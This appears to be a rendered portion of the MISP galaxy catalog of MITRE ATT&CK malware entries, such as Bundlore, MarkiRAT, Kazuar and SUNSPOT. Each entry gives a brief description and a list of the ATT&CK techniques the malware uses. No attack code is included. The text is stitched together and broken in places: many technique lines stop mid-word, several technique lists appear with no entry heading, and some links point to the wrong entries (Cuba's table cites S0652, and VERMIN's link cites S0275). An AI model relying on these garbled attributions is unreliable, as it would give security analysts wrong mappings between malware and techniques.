- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-
Table 7001. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0428">https://attack.mitre.org/software/S0428</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/10/poetrat-update.html">https://blog.talosintelligence.com/2020/10/poetrat-update.html</a></td>
</tr>
</tbody>
</table>
**Bundlore - S0482**

[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors. (Citation: MacKeeper Bundlore Apr 2019)

The tag is: `misp-galaxy:mitre-malware="Bundlore - S0482"`

Bundlore - S0482 is also known as:

- Bundlore
- OSX.Bundlore

View relationships graph

Bundlore - S0482 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
More_eggs - S0284

[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)

The tag is: `misp-galaxy:mitre-malware="More_eggs - S0284"`

More_eggs - S0284 is also known as:

- More_eggs
More_eggs - S0284 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
yty - S0248

[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)

The tag is: `misp-galaxy:mitre-malware="yty - S0248"`

yty - S0248 is also known as:

- yty

View relationships graph

yty - S0248 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-

uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"


Table 7004. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0248">https://attack.mitre.org/software/S0248</a></td>
</tr>
</tbody>
</table>

**ShiftyBug - S0294**

[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)

The tag is: misp-galaxy:mitre-malware="ShiftyBug - S0294"

View relationships graph

ShiftyBug - S0294 has relationships with:

- similar: misp-galaxy:android="Kemoge" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"


Table 7005. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0294">https://attack.mitre.org/software/S0294</a></td>
</tr>
<tr>
<td><a href="https://blog.lookout.com/blog/2015/11/04/trojanized-adware/">https://blog.lookout.com/blog/2015/11/04/trojanized-adware/</a></td>
</tr>
</tbody>
</table>
**CookieMiner - S0492**

[CookieMiner](https://attack.mitre.org/software/S0492) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019. (Citation: Unit42 CookieMiner Jan 2019)

The tag is: `misp-galaxy:mitre-malware="CookieMiner - S0492"`

**CookieMiner - S0492 is also known as:**

- CookieMiner

**View relationships graph**

**CookieMiner - S0492 has relationships with:**

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol -"`
**Pay2Key - S0556**

[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)

The tag is: `misp-galaxy:mitre-malware="Pay2Key - S0556"`

Pay2Key - S0556 is also known as:

- Pay2Key

**View relationships graph**

Pay2Key - S0556 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"` with estimative-language:likelihood-probability="almost-certain"
DDKONG - S0255

[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)

The tag is: misp-galaxy:mitre-malware="DDKONG - S0255"

DDKONG - S0255 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 7008. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0255">https://attack.mitre.org/software/S0255</a></td>
</tr>
</tbody>
</table>

MarkiRAT - S0652

[MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)

The tag is: misp-galaxy:mitre-malware="MarkiRAT - S0652"

MarkiRAT - S0652 is also known as:

- MarkiRAT

MarkiRAT - S0652 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
Cuba - S0625

[Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019. (Citation: McAfee Cuba April 2021)

The tag is: `misp-galaxy:mitre-malware="Cuba - S0625"

Cuba - S0625 is also known as:

- Cuba

View relationships graph

Cuba - S0625 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7009. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0652">https://attack.mitre.org/software/S0652</a></td>
</tr>
</tbody>
</table>
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7010. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0625">https://attack.mitre.org/software/S0625</a></td>
</tr>
</tbody>
</table>

**KGH_SPY - S0526**

[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing "KGH".(Citation: Cybereason Kimsuky November 2020)
The tag is: misp-galaxy:mitre-malware="KGH_SPY - S0526"

KGH_SPY - S0526 is also known as:

- KGH_SPY

View relationships graph

KGH_SPY - S0526 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
Kazuar - S0265

[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)

The tag is: `misp-galaxy:mitre-malware="Kazuar - S0265"

Kazuar - S0265 is also known as:

- Kazuar

View relationships graph

Kazuar - S0265 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
Mosquito - S0256

[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)

The tag is: `misp-galaxy:mitre-malware="Mosquito - S0256"`

Mosquito - S0256 is also known as:

- Mosquito

**View relationships graph**

Mosquito - S0256 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7013. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0256">https://attack.mitre.org/software/S0256</a></td>
</tr>
</tbody>
</table>

SUNSPOT - S0562

[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021)

The tag is: misp-galaxy:mitre-malware="SUNSPOT - S0562"

SUNSPOT - S0562 is also known as:

• SUNSPOT

View relationships graph

SUNSPOT - S0562 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

Table 7014. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0562">https://attack.mitre.org/software/S0562</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/">https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/</a></td>
</tr>
</tbody>
</table>

**UPPERCUT - S0275**

[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)

The tag is: misp-galaxy:mitre-malware="UPPERCUT - S0275"

UPPERCUT - S0275 is also known as:

- UPPERCUT
- ANEL

View relationships graph

UPPERCUT - S0275 has relationships with:


uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

---

### Table 7015. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0275">https://attack.mitre.org/software/S0275</a></td>
</tr>
</tbody>
</table>

---

**VERMIN - S0257**

VERMIN ([https://attack.mitre.org/software/S0275](https://attack.mitre.org/software/S0275)) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)

The tag is: *misp-galaxy:mitre-malware="VERMIN - S0257"*

VERMIN - S0257 is also known as:

- VERMIN

**View relationships graph**

VERMIN - S0257 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-
Table 7016. Table References

Links

https://attack.mitre.org/software/S0257

**LookBack - S0582**

[LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582). (Citation: Proofpoint LookBack Malware Aug 2019) (Citation: Dragos TALONITE) (Citation: Dragos Threat Report 2020)

The tag is: `misp-galaxy:mitre-malware="LookBack - S0582"`

LookBack - S0582 is also known as:

- LookBack

**View relationships graph**

LookBack - S0582 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 7017. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0582">https://attack.mitre.org/software/S0582</a></td>
</tr>
<tr>
<td><a href="https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770">https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/threat/talonite/">https://www.dragos.com/threat/talonite/</a></td>
</tr>
</tbody>
</table>

**OldBoot - S0285**

[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)

The tag is: *misp-galaxy:mitre-malware="OldBoot - S0285"*

View relationships graph

OldBoot - S0285 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1398" with estimative-language:likelihood-probability="almost-certain"

Table 7018. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://thehackernews.com/2014/01/first-widely-distributed-android.html">http://thehackernews.com/2014/01/first-widely-distributed-android.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0285">https://attack.mitre.org/software/S0285</a></td>
</tr>
</tbody>
</table>

**RGDoor - S0258**

[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)

The tag is: *misp-galaxy:mitre-malware="RGDoor - S0258"*
RGDoor - S0258 is also known as:

- RGDoor

View relationships graph

RGDoor - S0258 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7019. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
